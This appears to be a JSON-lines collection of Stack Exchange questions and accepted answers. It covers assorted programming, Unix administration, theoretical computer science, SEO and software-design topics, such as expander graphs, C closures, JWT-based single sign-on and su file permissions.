{  "id": "_cstheory.25213"  , "question": "small world graphs (eg Watts-Strogatz model & others) and scale free graphs are a relatively recently discovered graph type via mainly empirical analysis of large real-world graphs (eg via Big Data techniques/ datamining etc). they have since been found to be quite ubiquitous/ longstanding in many diverse graphs related to nature and human constructions (eg biology/genes, social networks, man-made networks eg WWW/ internet/ telecommunication/ electrical grids, airport connectivity, etc). in contrast expander graphs are far older and were invented mainly as a theoretical device in math/(T)CS however have since found very broad/ widespread/ key application. am looking for eg refs/ surveys/ overviews on their interrelation.what are the relations between the following (eg is there any overlap for some parameters)small world networksscale free graphsexpander graphs"  , "title": "any relation/ overlap between small world graphs, scale free graphs, and expander graphs?"  , "tags": "reference request;graph theory;big picture;application of theory"  , "accepted_answer": "There are lots of overlaps between small world and scale-free, but I think much less so between those two and expanders.The terms small world and scale-free are often used informally, but formal definitions are  often along the lines of:Small-world means short average (or maximum) path length (typically $O(\\log n)$, with $n$ vertices) and highly clustered (meaning that for any vertex $v$, the fraction of pairs of neighbors of $v$ which are adjacent is high)Scale-free is often taken to mean that the degree distribution follows some variant of a power-law (e.g. power-law with cutoff, etc.), but more generally/informally is used to mean that the degree distribution is long-tailed, in contrast to, say, Erdos-Renyi random graphs which have a degree distribution that is exponentially concentrated around its mean.Expander, of course, has a formal definition that is almost 100% standardized. Expanders by their nature have logarithmic diameter, similar to small-world networks. Beyond that, however, as far as I know there is little overlap between the concepts. In practice, expanders are often bounded-degree or even regular of bounded degree, whereas real-world graphs typically have a long-tailed degree distribution, with a small (but surprisingly large - e.g. not exponentially small) number of high-degree hubs (as they are usually called). Furthermore, scale-free graphs (almost by definition, depending on your definition) have a large number of vertices of very low degree - in most real-world graphs there are a large number of vertices of degree 1 or 2. This makes real-world graphs very unlike expanders, in that it is very easy to disconnect real-world graphs by removal of targeted edges, whereas expanders are by their nature highly connected. (Real-world graphs often also have the property that removal of random edges is very bad at disconnecting them.)I'm sure there is something to be said about the use of spectral techniques for things like community detection, etc. in real-world networks, and from that viewpoint there may or may not be a little more overlap with expanders, but I'm not an expert in that area (maybe we can get Mark Newman to join cstheory.SE to comment...)"  } 
{  "id": "_softwareengineering.333980"  , "question": "I'm new to compiled languages. I'm learning C. I'm used to coding in python.I was wondering if there was any equivalent, or replacement method in compiled langues for functions able to create a function, and to return it.In python one can write:def genAdder (p):    def adder (n):        return n + p    return adderaddFive = genAdder(5)print(addFive(7))     # prints 12Is it possible to do such a thing in C, or C++, or any other compiled language ?If yes, does it involve code generation during execution ?If no, are there replacements for situations where this is useful ? (It can be used for performance purposes, to avoid re-doing computations)"  , "title": "Function creating function, compiled languages equivalent"  , "tags": "functional programming;higher order functions"  , "accepted_answer": "Yes, many compiled languages support higher order functions. No, they rarely if ever do runtime code generation. In C, function pointer is the appropriate search term. C++ also supports function pointers, though there's a number of alternative approaches (and libraries) to support similar behavior. Though they generally aren't as clean as other languages' support for this sort of thing due to their history. Java and C# especially handle this better. And of course actual functional languages have great support for this, and are often compiled.As for using p in the inner definition, that is a closure. They are well studied, and well known. When I used C++ boost::bind supplied a mechanism to do something similar. In these languages, you generally need to make a new object/class to hold the stored variable, and the sub-function."  } 
{  "id": "_unix.44932"  , "question": "Is there a fast way (keyboard shortcut) to open a terminal emulator (in my case urxvt) in the same directory as the file in the current emacs buffer?"  , "title": "Open terminal from emacs"  , "tags": "emacs;keyboard shortcuts"  , "accepted_answer": "The combination M-! allows you to launch shell commands. You could use it to launch a separate urxvt. M-! urxvt RETI just tried it with xterm (I don't have urxvt) and it did open in the same directory as the file in the buffer.If you want to define a shortcut add something similar in your init file:(global-set-key (kbd C-c s) (kbd M-! urxvt RET))In my case I bound the shortcut to: Ctrl+C - S."  } 
{  "id": "_scicomp.25927"  , "question": "I'm trying to make a CFD model where I can place a source and a sink anywhere in a grid and get the fluid flow rate across each cell boundary between those locations.  I'm starting simple with a 3x3 grid and solving continuity for each grid element, but that leaves me a few equations short (9 equations, 12 unknowns).  In general I'd like to be able to raise that to a 64x64 grid with multiple flow inputs.  Is there a way to constrain the system such that I can solve it with continuity equations or is this more difficult than I had initially thought?Below is a simple diagram of my 3x3 grid (o = source, x = drain):-------|o| | |-------| | | |-------| | |x|-------within the above grid is 9 cells and 12 cell boundaries.  How do I fully constrain the system to solve for the flow?edit: doing some reading on CFD, it would seem that storing the velocity for the CENTRE of each cell is advantageous and the boundary velocities would be calculated based on the centre values for surrounding cells...  Although I still don't entirely know how my equations would look with that."  , "title": "Simple methods for solving 2D steady incompressible flow?"  , "tags": "fluid dynamics;constraints;incompressible"  } 
{  "id": "_cs.79634"  , "question": "This question is referring to the Pumping Lemma for CFLs, namely: If $L$ is a CFL, there is a pumping length $p$ such that any string $z \\in L$ of length $\\geq p$ can be written as $z = uxwyz$, where $|xy| \\geq 1$, $|vxy| \\leq p$, and $\\forall i  0, ux^iwy^iz \\in L$.Let's say we have a language consisting of $0$s and $1$s and we pick $x \\in 0^*$ and $y \\in 0^* \\Rightarrow x = 0^k$ and $y = 0^l$, where $k+l \\geq 1$. Does this mean that $k$ can be $0$ if $l \\geq 1$? Does that make sense? (why did we choose a $k$ length of $x$ in the first place, then, if it's going to end up being null).PS: I know I don't get to pick the decomposition. I'm talking about a particular case. "  , "title": "Interpreting the way we choose partitions in the pumping lemma for CFLs"  , "tags": "formal languages;context free;pumping lemma"  } 
{  "id": "_webmaster.44721"  , "question": "We want to increase our rankings.We have relevant quality text content ... However we need the page to visually appear less texty.We are therefore considering a design with very little text immediately visible. Learn more icons will offer this additional content as popovers or tooltips.The content will be in divs on the page.Will this content be considered as content for an improved page rank?"  , "title": "Does text in tooltips (or hide/show divs) count for positive SEO?"  , "tags": "seo;pagerank"  } 
{  "id": "_softwareengineering.338538"  , "question": "Irony includes two phases. In the first phase it create a parser tree. After that its optional to create an AST tree.What are the differences between the parse tree and the AST tree?What is the reason to implement that?"  , "title": "DotNet Irony Understanding"  , "tags": "c#"  , "accepted_answer": "Parse Trees are also sometimes referred to as Concrete Syntax Trees to distinguish them from Abstract Syntax Trees, which maybe already tells you what they are all about.Basically, a parse tree is still dependent on the actual concrete syntax used in the source code. E.g. if a language has two ways of defining a function that are semantically equivalent, then the parse tree might still tell you which of the ways was used. The parse tree might also still contain artifacts of the specific parser that was used, e.g. if the parser supports left-recursion or doesn't, etc.The AST, OTOH, should ideally be independent of any particular concrete syntax that was used in the source code and the particular parser that was used. In theory, an AST should be abstract enough that it can even serve as an interface between the parser and the rest of the system, IOW in theory, I should be able to swap in a different parser which generates the same AST without the rest of the system noticing. (In practice, that is seldomly possible, though.)"  } 
{  "id": "_codereview.25640"  , "question": "So for practice with Javascript, I wrote this lightweight widget factory which is similar in functionality (okay, that's a bit of a stretch) to jQuery's UI Widget factory. I was hoping I could get some pointers as far as idiom usage and also if there are any glaring problems with the below code. var _CreateWidget = function(namespace, implementation) {    _Widget = {        _create: function() {},        _destroy: function() {},        _set: function() {},        _get: function() {},        options: {},        context: undefined,        namespace: namespace,        apply: function(element) {            this.context = element;            element[namespace] = this;            this._create();        }    };    for (var item in implementation) {        if (implementation.hasOwnProperty(item)) {            _Widget[item] = implementation[item];        }    }    return _Widget;}Widget = function(namespace, implementation) {    return function(element) {        var instance = _CreateWidget(namespace, implementation);        instance.apply(element);        return instance    };}An example widget would be defined as follows://Example widgetPage = Widget(page, {    _create: function() {        //initialization code here    },    _destroy: function() {    },    _set: function() {    },    _get: function() {    },    request: function() {        //custom function    },    options: {        url: ''    }});And the widget would be applied to an element like so:myElement = document.getElementById(myUniqueId);appliedPageReference = Page(myElement);myElement.page.request(); //One way to call the custom request() function;appliedPageReference.request(); //Another way to call the custom request() function;"  , "title": "Roll your own widget factory"  , "tags": "javascript;jquery ui"  , "accepted_answer": "Although DOM elements can be used like normal JavaScript objects, I'd avoid attaching JavaScript other than handlers. The problem is when they form circular references. In browser garbage collectors, they won't collect garbage if something still references them. If you accidentally form circular references, this will lead to memory leaks (unfreed memory)jQuery avoids this by creating objects in an internal cache and assigns an ID to the element. That way, you are assigning a primitive to the element, not an object. This is how jQuery collects and manages event handlers, data attributes, and others.So a general tip is: What is from JavaScript, stays in JavaScript. (And not cross over to the DOM)In jQuery's case, the functions are not actually attached to the element. That's the purpose of the jQuery object. In a gist, a jQuery object is just an array-like object (let's call it pseudo-array from this point on), that contains DOM elements. The prototype of the jQuery object is where the functions live. These functions operate on each value in the collection.Executing a function in a jQuery object is not like this:someElement.doSomething();But rather, something like this:collectionOfStuff.forEach(function(DOMElement,i,arr){  //do something for each in the collection});Widget in your code is some function that manufactures widget templates which are used to bind to your elements. Rather than having Widget return the template, why not make Widget your namespace. You can then create a function that attaches to the namespace. It would be synonymous to doing jQuery.fn.extend(function(){...})//define widgetWidget.defineWidget('Page',function(){  //local stuff, aka private  var privateVar = 'foo';  function privateFn(){...}  //anything attached to `this` is public  //we will execute this function, providing an object as `this`  this.publicVar = 'bar';  this.publicFn = function(){...}});//access widgetvar reference = Widget.Page(bindingTarget);defineWidget define a creator function into the namespace that uses the widget definition to build instances, something like:Widget.defineWidget = function(name,fn){  //store  wigetCache[name] = fn;  //attach to namespace  Widget[name] = function(){    //BaseClass could be some constructor with prototype containing    //all functions that widgets should have    var instance = new BaseClass();    //run the instance through the definition to attach the internals    return fn.call(instance);  } }"  } 
{  "id": "_webapps.14525"  , "question": "I like to store my PDF files in the DropBox cloud.I like to access these PDFs from my PCs, Laptop & Android phone.When I open a PDF it always starts on page 1 no matter what page I was on previously.Is there a way to have DropBox remember the page I was on?"  , "title": "PDF with DropBox, remember the Last Page?"  , "tags": "dropbox;pdf;online storage"  } 
{  "id": "_cs.6410"  , "question": "Consider the recurrence $\\qquad\\displaystyle T(n) = \\sqrt{n} \\cdot T\\bigl(\\sqrt{n}\\bigr) + c\\,n$ for $n \\gt 2$ with some positive constant $c$, and $T(2) = 1$.I know the Master theorem for solving recurrences, but I'm not sure as to how we could solve this relation using it. How do you approach the square root parameter?"  , "title": "Solving a recurrence relation with n as parameter"  , "tags": "asymptotics;recurrence relation;master theorem"  , "accepted_answer": "We will use Raphael's suggestion and unfold the recurrence. In the following, all logarithms are base 2. We get$$\\begin{align*}T(n) &= n^{1/2} T(n^{1/2}) + cn \\\\&= n^{3/4} T(n^{1/4}) + n^{1/2} c n^{1/2} + cn\\\\&= n^{7/8} T(n^{1/8}) + n^{3/4} c n^{1/4} + 2cn\\\\&= n^{15/16} T(n^{1/16}) + n^{7/8} c n^{1/8} + 3cn \\\\& \\ldots \\\\&= \\frac{n}{2} T(2) + c n \\beta(n) \\end{align*}.$$where $\\beta(n)$ is how many times you have to take the square root to start with n, and reach 2. It turns out that $\\beta(n) = \\log \\log n$. How can you see that? Consider:$$\\begin{align*}n &= 2^{\\log n}\\\\n^{1/2} &= 2^{\\frac{1}{2} \\log n} \\\\n^{1/4} &= 2^{\\frac{1}{4} \\log n} \\\\\\ldots\\end{align*}$$So the number of times you need to take the square root in order to reach 2 is the solution to $\\frac{1}{2^t} \\log n \\approx 1$, which is $\\log \\log n$. So the solution to the recursion is $c n \\log \\log n + \\frac{1}{2}n$. To make this absolutely rigorous, we should use the substitution method and be very careful about how things get rounded off. When I have time, I will try to add this calculation to my answer. "  } 
{  "id": "_unix.31154"  , "question": "I'm a C/C++ professional programmer who makes lots of spelling mistakes in comments. I want to configure vim such that the spell-checker only looks for misspelled words within comments. If necessary I'm willing to add special symbols around the comment that vim can look for to know where to check, such as: int main(){     /*<--C_S         This is comment line in main function ..        C_S-->*/ }If the plugin can work without the C_S symbols that'd be even better. I want the spell-checker to highlight any spelling mistakes it finds within comments. Does this already exist? Or is it easy to write myself?"  , "title": "Spell check comments in vim"  , "tags": "vim;spell checking"  } 
{  "id": "_unix.369170"  , "question": "I have a USB device and i'm trying to create it in a way that it has 2 partitions: one for a live linux disc and the other for document storage.I created the partitions using gparted and and set a boot flag to the one I want to use as the live disc. Now, I have a usb like this:Disk /dev/sdc: 14.6 GiB, 15623782400 bytes, 30515200 sectorsUnits: sectors of 1 * 512 = 512 bytesSector size (logical/physical): 512 bytes / 512 bytesI/O size (minimum/optimal): 512 bytes / 512 bytesDisklabel type: dosDisk identifier: 0xc3072e18Device     Boot   Start      End  Sectors  Size Id Type/dev/sdc1       8439808 30515199 22075392 10.5G 83 Linux/dev/sdc2  *      51200  8439807  8388608    4G  b W95 FAT32I then used dd to flash an Ubuntu iso to /dev/sdc2sudo dd if=/dev/shm/ubuntu-17.04-desktop-amd64.iso of=/dev/sdc2 bs=4MWhen the disc is flashed onto the usb drive, I try to boot from my laptop and it shows Operating system not found. When i try to use qemu/kvm, it shows a kernel panic like this:How would I be able to do this properly?"  , "title": "Use a partitioned live usb"  , "tags": "partition;live usb;livecd"  , "accepted_answer": "You received the Operating system not found error because by writing the ISO to a disk partition rather than the disk as a whole, you inadvertently did not write a boot loader to the disk's MBR gap. And... apparently the PC doesn't care about the boot flag.I see two possible solutions, but I must say, I'm really just pulling this out of my [censored].Partition the disk after dd'ing the ISOThe best part of this solution is that you'll know whether it's feasible real quick.dd the ISO to the entire USB diskCheck the USB disk for partitions using a partitioning tool. If you see partitions, you can probably add one for your encrypted volume.Add a bootloader to chainload into the partition.The idea here is to add a boot loader to the USB disk's MBR gap, and have it chainload whatever boot loader is in the partition. Chainloading basically delegates the boot loader's functionality to another bootloader. I'll direct to you Gentoo's documentation on the topic, considering it's quite thorough.OtherIf the above fail, you can try building your own Ubuntu ISO, adjusting how it boots."  } 
{  "id": "_softwareengineering.342388"  , "question": "I am building a series of web apps connected to a single point of authentication. Basically, a user tries to access a site, if not authenticated they are redirected to the central auth system's login page. Once they successfully login, they are redirected to their app. From then on, if they access any other app they would automatically be signed on.A couple additional details: 1) the apps will all be running under the same domain, so I can use domain cookies, which makes things easier; 2) users can be given access to some apps and not others, so that needs to be taken into account; 3) user needs to be able to retrieve permissions specific to each app.I have implemented something, but am not 100% happy with it. Right now, this is what I have: 1) web app checks for existence of a session (specific to the app) and a cookie that's a JWT token that was sent from the centralized auth system; 2) if cookie doesn't exist, I redirect to the login page on the auth system; 3) once user logs in, they are redirected to their app passing in a JWT token; 4) the app verifies the token via a REST API call to the auth system (making this REST API calls relies on a separate access token), if it's valid, then the JWT token gets saved as a cookie and a session is initiated with the user logged in; 5) if the app session expires, it checks if the cookie exists and if it does then app does the same as step #4, verifies the token and reinitiates the session; 6) on logout, the system just deletes the cookie, ensuring user is logged out of all apps; 7) if the token expires, the app uses the expired token to request a new one, where the token signature and other claims are validated before issuing a new one, the only thing that doesn't get validated is the expiration claim.To clarify, the existence of a session specific to the app is used so that you don't have to keep making REST API calls constantly to verify the token. But given that the token was verified once, would it be safe to just use that cookie as the indicator that there's a valid session?One thing that I'm unsure about is that my token needs to have something that indicates what app it is for because other REST API calls can be made using the token to get some resources that are app specific. But if I obtain a token for app1 and then log into app2, app2 will be relying on the cookie generated by app2. So seems like I'd want to have two tokens, one that can be stored as a domain cookie to indicate the user is authenticated, and another one that would actually be app specific and can be used to make REST API calls for other app-specific resources.Am I over-complicating this, or does my line of thinking match what others are seeing/doing out there? Or is there a more elegant way of doing this? I've thought of implementing something like Open ID, but seems a bit like overkill for our needs. I want this to be as simple as can be so that I can document the process and other developers teams can develop apps that plug into the auth system without needing too much assistance."  , "title": "Implementation of single authentication point"  , "tags": "authentication"  } 
{  "id": "_codereview.164119"  , "question": "The goal is to create a Singleton and pass it a parameter that is required for the construction and initialization of the class, then preventing any changes to be made to the passed parameter (just like a readonly field being set by an argument passed to a constructor).For instance:SocketsHostsDatabasesRepositories(Any instance that requires at least one argument in order to construct)I am having a tough time coming to terms with this design, and I am quite certain that there is a pitfall or a loose-end to this implementation of a Singleton combined with a Builder Pattern, to mimic readonly fields set by constructor arguments.Example ImplementationIn this example, I am trying to get a Singleton of Host, where I would like the enum EnvironmentTypes to be treated like a readonly field usually found in classes that have parameters passed into the constructor.EnvironmentTypes Enumpublic enum EnvironmentTypes{    Production,    Staging,    Development}IHost Interfacepublic interface IHost{    string Name { get; set; }}Host Classpublic sealed class Host : IHost{    #region Singleton    private static readonly Lazy<Host> _instance = new Lazy<Host>(() => new Host());    public static Host Instance { get { return _instance.Value; } }    #endregion    private static bool _isInstantiated;    private static EnvironmentTypes _environment;    private string _name;    internal static EnvironmentTypes Environment    {        get { return _environment; }        internal set        {            if (_isInstantiated) throw new InvalidOperationException(nameof(_environment) + cannot be set once an instance is created.);             _environment = value;        }    }    public string Name    {        get { return _name; }        set { _name = value; }    }    static Host()    {        _isInstantiated = false;        _environment = EnvironmentTypes.Production;    }    private Host()    {        _isInstantiated = true;        _name = My Server;    }}HostBuilder Classpublic sealed class HostBuilder{    private readonly EnvironmentTypes _environment;    private string _name;    public HostBuilder(EnvironmentTypes environment)    {        _environment = environment;    }    public HostBuilder SetName(string name)    {        _name = name;        return this;    }    public IHost Build()    {        Host.Environment = _environment;        Host host = Host.Instance;        host.Name = _name;        return host;    }}Implementationclass Foo{       void UsingTheBuilder()    {        // probably over-kill        HostBuilder builder = new HostBuilder(EnvironmentTypes.Development)            .SetName(Bingo);        IHost host = builder.Build();        //host.Environment is not available, great!        host.Name = Renamed Server; // works as expected.    }    void ManualConfiguration()    {        Host.Environment = EnvironmentTypes.Development;        Host host = Host.Instance;        host.Name = Bingo;        Host.Environment = EnvironmentTypes.Staging; // throws! Hoped to prevent                                                     // the developer from doing this.    }}Random Notes: It would be great if I could restrict access from getting to the static properties of Host, so that I can totally avoid anyone trying to set the Host.Environment static property and throwing an exception -- note how the HostBuilder shields that from happening as it is a readonly field."  , "title": "Singleton with readonly parameters"  , "tags": "c#"  , "accepted_answer": "Disclaimer: I am biased towards singletons. I think it is an anti-pattern, that has no place in modern C#.First, here is a great article on how singletons become a disaster when you try to unit test a code, that heavily relies on them. Your case is even more complex, because you also have to initialize additional parameters. And you can't change those. So you can't test Host with different environments unless you try to bypass your own exception with reflection.I would just register non-static Host class as singleton inside IoC container, and be done with it. It will solve all your problems:Parameters of Host are no longer exposed.Container guaranties, that there is going to be a single instance of Host.Host is exposed as service (IHost) and not as implementation (Host).You can mock IHost in unit tests.You can easily unit-test Host implementation with whatever parameters you want, because now it has public constructor and can be re-created as often as it is required by your tests.Classes that depend on IHost will now require it as dependency, instead of secretly accessing it via global static property."  } 
{  "id": "_unix.91370"  , "question": "I am running Linux Slackware 14.0. I wanted to allow to do su only to the members of wheel group, so I modified the permissions of /bin/su and /usr/bin/sudo files to this:bash-4.2# ls -la /bin/su-rws--s--- 1 root wheel 59930 Sep 14  2012 ./subash-4.2# ls -la ./sudo-rws--s--- 1 root wheel 107220 Jun 29 2012 ./sudoNow when I am a member of wheel group and run su, it promts for password, I enter it. No errors are shown, but doesn't switch me to root. Probably, I set some permissions wrong?"  , "title": "Can't run su after changing permissions to su file"  , "tags": "permissions;sudo;su"  , "accepted_answer": "You could trychown root.wheel /bin/suchmod o-x /bin/suso su will belong to wheel group and the others won't be able to run it. It seems to me that chown should solve your problem, setting properly all the permissions, since you just set up the execution rights previously."  } 
{  "id": "_unix.370361"  , "question": "If I have a page open in Lynx, how can I download the source (HTML) of it?"  , "title": "Use Lynx to download the source of the page I'm currently on"  , "tags": "lynx"  , "accepted_answer": "View the source code by pressing the \\ key (thanks to this article)Then press the P key, and then select Save to a local file."  } 
{  "id": "_codereview.27254"  , "question": "I have two class:InputForm.javapublic class InputForm {    private String brandCode;    private String caution;    public String getBrandCode() {        return brandCode;    }    public void setBrandCode(String brandCode) {        this.brandCode = brandCode;    }    public String getCaution() {        return caution;    }    public void setCaution(String caution) {        this.caution = caution;    }}CopyForm.javapublic class CopyForm {    private boolean brandCodeChecked;    private boolean cautionChecked;    public boolean isBrandCodeChecked() {        return brandCodeChecked;    }    public void setBrandCodeChecked(boolean brandCodeChecked) {        this.brandCodeChecked = brandCodeChecked;    }    public boolean isCautionChecked() {        return cautionChecked;    }    public void setCautionChecked(boolean cautionChecked) {        this.cautionChecked = cautionChecked;    }}I want to copy values from an InputForm to another if its corresponding property in CopyForm is true.This is what I do:if(copyForm.isBrandCodeChecked()) {    inputForm.setBrandCode(otherInputForm.getBrandCode());}if(copyForm.isCautionChecked()) {    inputForm.setCaution(otherInputForm.getCaution());}The problem is I have many many properties. Writing many if statements seems ugly and bad programming practice.How to solve it? (I know reflection is not a good choice so I don't think about it)"  , "title": "Copy object properties without using many if statements"  , "tags": "java;classes;form"  } 
{  "id": "_softwareengineering.154733"  , "question": "In one of the latest WTF moves, my boss decided that adding a Person To Blame field to our bug tracking template will increase accountability (although we already have a way of tying bugs to features/stories). My arguments that this will decrease morale, increase finger-pointing and would not account for missing/misunderstood features reported as bug have gone unheard.What are some other strong arguments against this practice that I can use? Is there any writing on this topic that I can share with the team and the boss? "  , "title": "My boss decided to add a person to blame field to every bug report. How can I convince him that it's a bad idea?"  , "tags": "teamwork;bug report"  , "accepted_answer": "Tell them this is only an amateurish name for the Root Cause field used by professionals (when issue tracker does not have dedicated field, one can use comments for that).Search the web for something like software bug root cause analysis, there are plenty of resources to justify this reasoning 1, 2, 3, 4, .......a root cause for a defect is not always a single developer (which is the main point of this field)...That's exactly why root cause is professional while person to blame is amateurish. Personal accountability is great, but there are cases when it simply lays outside of the dev team.Tell your boss when there is a single developer to blame, root cause field will definitely cover that (coding mistake made by Bob in commit 1234, missed by Jim in review 567). The point of using the term root cause is to cover cases like that, along with cases that go out of the scope of the dev team.For example, if the bug has been caused by faulty hardware (with the person to blame being someone outside of the team who purchased and tested it), the root cause field allows for covering that, while single developer to blame would simply break the issue tracking flow.The same applies to other bugs caused by someone outside of the dev team - tester errors, requirements change, and management decisions. Say, if management decides to skip investing in disaster recovery hardware, blaming a single developer for an electricity outage in the datacenter would just not make sense."  } 
{  "id": "_unix.34063"  , "question": "I am trying to show all instances of a particular message from the syslog in chronological order by doing something like the following:grep squiggle /var/log/messages*Unfortunately the glob pattern matches the currently active file first. eg./var/log/messages/var/log/messages-20120220/var/log/messages-20120227/var/log/messages-20120305/var/log/messages-20120312This means that recent messages show up first followed by the historical messages in chronological order.Is it possible to adjust the glob pattern behaviour somehow to make the empty match (ie. just messages) show up at the end of the list?If not, what would be a good way to address this problem?"  , "title": "Is it possible to change the order of a glob?"  , "tags": "bash;wildcards"  , "accepted_answer": "I don't know of a way to change the globbing order, but there's an easy workaround for your case:grep squiggle /var/log/messages-* /var/log/messagesi.e. don't match the messages files in your glob pattern, and add it to the end of grep's argument list."  } 
{  "id": "_cs.33828"  , "question": "Let $\\mathcal{B} = \\{v_1,v_2,\\ldots,v_k\\} \\in \\mathbb{R}^n$ be linearly independent vectors. Recall that the integer lattice of $\\mathcal{B}$ is the set $L(\\mathcal{B})$ of all linear combinations of elements of $\\mathcal{B}$ using only integers as coefficients. That is $$L(\\mathcal{B}) = \\{ \\sum_{i=1}^k c_i b_i \\mid c_i \\in \\mathbb{Z}\\}.$$The closest vector problem asks us to find a nonzero vector $v \\in L(\\mathcal{B})$ such that $||v||$ is minimized. It is apparently well known that this problem is NP-complete though I was not able to find a reduction to any of the well known NP-complete problems.The first proof of this claim seems to be in P. van Emde Boas. Another NP-complete problem and the complexity of computing short vectors in a lattice., but I cannot find a copy of this paper.Can someone give a polynomial reduction of some well known NP complete problem to the closest vector problem?"  , "title": "NP completeness of closest vector problem"  , "tags": "complexity theory;reference request;np complete;reductions"  , "accepted_answer": "As far as I know, it is not known that the shortest vector problem is NP-hard for any $L^p$ norm other that $L^\\infty$. It is known that the shortest vector problem is NP-hard under randomized reductions for all $L^p$, a result first proved by Ajtai. See for example Miccanccio's paper and the results he references. Since then better inapproximability results have been obtained, but as far as I can tell nobody could prove an unconditional NP-hardness result."  } 
{  "id": "_codereview.101427"  , "question": "I am finding the order of sorting of an array. The code works but can it be made better especially the return values of the function findSortOrder.#include <stdio.h>#include <stdlib.h>// Returns 0 for unsorted, 1 for sorted in increasing order, 2 for sorted in decreasing orderint findSortOrder(int array[], int len){    // holds the sorting order of the subarray array[0...i]    // 0 represents no information about sorting order    // 1 represents sorting in increasing order    // 2 represents sorting in decreasing order    int order = 0;    int i;    for (i = 1; i < len; i++)    {        if (order == 0)        {            if (array[i] > array[i - 1])            {                order = 1;            }            else if (array[i] < array[i - 1])            {                order = 2;            }        }        else if (order == 1)        {            if (array[i] < array[i - 1])            {                return 0;            }        }        else        {            if (array[i] > array[i - 1])            {                return 0;            }        }    }    if (order == 0 || order == 1)    {        return 1;    }    else    {        return 2;    }}int main(){    printf(Enter length of the array: );    int len;    scanf(%d, &len);    int* input = malloc(len * sizeof(*input));    int i;    for (i = 0; i < len; i++)    {        scanf(%d, &input[i]);    }    int order = findSortOrder(input, len);    switch (order)    {        case 0:            printf(Unsorted\\n);            break;        case 1:            printf(Sorted in increasing order\\n);            break;        case 2:            printf(Sorted in decreasing order\\n);            break;    }    free(input);    return 0;}Edit:I will be using this function to merge two sorted arrays in their sorting order. So I think if no. of elements is 1 or all are equal then sort order could be returned as increasing. "  , "title": "Finding the order of sorting of an array"  , "tags": "c;sorting"  , "accepted_answer": "The cleanest would be an enum and a switch (current) with three cases:In each case you can then check if you stay in the current_order or if you switch to another or if you can return 0/1/-1.Simplified:current=NONE;for()    a=... b= ..    switch(current)        case NONE: if (a>b) current=DEC; else if (a<b) current=INC; break;        case INC:  if (a>b) return NONE; break;        case DEC:  if (a<b) return NONE; break;return current;I don't know if it's the right term, but I think that is a finite state machine. You could read about those to get more information; it's always good to use for parsing stuff.From the comments:What should be returned if the array is one element long?Good point. I would introduce another return value MIXED:current=NONE;for()    a=... b= ..    switch(current)        case NONE: if (a>b) current=DEC; else if (a<b) current=INC; break;        case INC:  if (a>b) return MIXED; break;        case DEC:  if (a<b) return MIXED; break;return current;"  } 
{  "id": "_softwareengineering.247125"  , "question": "Context: I'm working on an HTML 5 game without persisted state.  Every time you refresh the page, you start at the beginning.  People are requesting that they can start where they left off if they leave the page.  I plan to implement this as Local Storage.  The thing that makes apprehensive about this is a new kind of bug I'll have to consider:  If you come back and there's a newer code, it may not be able to deserialize the storage.As an example, the state when serialized may have looked like this:{  foo: bar}But when the player tries the game next month, that field doesn't even exist anymore and has been broken up into two fields with a completely different type.  This is bound to happen, and I think I know how to fix this:  I'll put a version number in the data, and when I release version y of the app, I'll have to write code to migrate from version x state to version y state.  If I release version z of the app, I'll have to write code to migrate from version y to version z.  I'll probably call this logic after deserialization.But that's not what this question is about (although if there's a flaw in my approach, I'd want to hear it).  What I want to know is: How do I automate something (possibly a test) that tells me when I need to write a migration script and when I need to change the data's version number?I feel automation is the key here, because things will go very wrong if I make a mistake  and remembering to change a version number / write a migration script will be the last thing on my mind when I just finished that shiny new feature I want others to see.  An interesting (but perhaps irrelevant) realization: All these issues go away if I store the data on my server in a database with a schema.  That lets me confidently know that all the data is in the right state (if my schema is good).  The problem with persisting locally is I lose control of the data and when it gets migrated.  This question is similar but different to this one.  The difference is I'm concerned primarily with automation and s/he's not and we're using different languages (seeing how the accepted answer is a Java library, that makes it irrelevant to me)."  , "title": "What's a good way to make sure that locally serialized data can be deserialized in newer code?"  , "tags": "javascript;automation;persistence;serialization"  } 
{  "id": "_webmaster.38723"  , "question": "I've been looking to use unicode for more iconography, and I haven't been able to find any appropriate unicode for a view icon.  None of the eye-related unicode that I've found works on the web.  Does anyone know of any unicode icons that would be appropriate for a view icon?"  , "title": "Usable unicode for a view icon?"  , "tags": "icon;unicode"  } 
{  "id": "_webmaster.79685"  , "question": "I get an issue with the SEO of my website. Before I was on top of Google with Icecom, but I migrated my website on WordPress. All my urls have changed and the body too...What I did for my new SEO:Redirect 301Changing address using Google Webmaster ToolBut I don't see my website on Google anymore. What am I supposed to do?Regards,Edit #1Edit #2 (Index state and exploration from Google)"  , "title": "SEO issue when migrating to wordpress  changing urls and file names etc"  , "tags": "seo;google;url rewriting;migration;filenames"  , "accepted_answer": "When migrating from HTML to WordPress , the main thing to be kept in mind is the permalink structure.By default HTML pages has the extension of .html while WordPress URLs have no extensions.(You can activate them though).Now Google treats a www.website/page.html and www.website/page as two different URLs.Generally there are two options :-1) Change the Permalink structure of all pages.(There are plugins for that)2) Redirecting using 301.Since you have already implemented 301 redirects.So,you must know that using a 301 redirect can lead to losing 15 percent of your link juice. Many sites quote Matt Cutts, Googles head of Web spam, as having made that statement.EditedHow to avoid negative SEO because of offline website? When Googlebot crawls your website while offline instead of returning an HTTP result code 404 (Not Found) or showing an error page with the status code 200 (OK) when a page is requested, its better to return a 503 HTTP result code (Service Unavailable) which tells search engine crawlers that the downtime is temporary. Moreover, it allows webmasters to provide visitors and bots with an estimated time when the site will be up and running again."  } 
{  "id": "_unix.262028"  , "question": "When I was under Ubuntu 14.04, I had in the title bar a menu that allowed me to choosee between high performances or energy saving for the processor.I want to know what app it was, I can't remember... Thermald? Conky? Perf? Something else?And btw can it run under Kubuntu or Lubuntu?"  , "title": "perfs manager in Ubuntu 14.04"  , "tags": "ubuntu"  } 
{  "id": "_unix.273273"  , "question": "How can I create a text file called example text file (with spaces).  Write a few sentences to store in this file. Make a copy of file with a different name. "  , "title": "Create a text file with spaces and sentences stored inside and make a copy of text file"  , "tags": "terminal"  } 
{  "id": "_datascience.8460"  , "question": "What stable Python library can I use to implement Hidden Markov Models? I need it to be reasonably well documented, because I've never really used this model before.Alternatively, is there a more direct approach to performing a time-series analysis on a data-set using HMM?"  , "title": "Python library to implement Hidden Markov Models"  , "tags": "python;time series;markov process"  , "accepted_answer": "The ghmm library might be the one which you are looking for. As it is said in their website:It is used for implementing efficient data structures and algorithms  for basic and extended HMMs with discrete and continuous emissions. It  comes with Python wrappers which provide a much nicer interface and  added functionality.It also has a nice documentation and a step-by-step tutorial for getting your feet wet."  } 
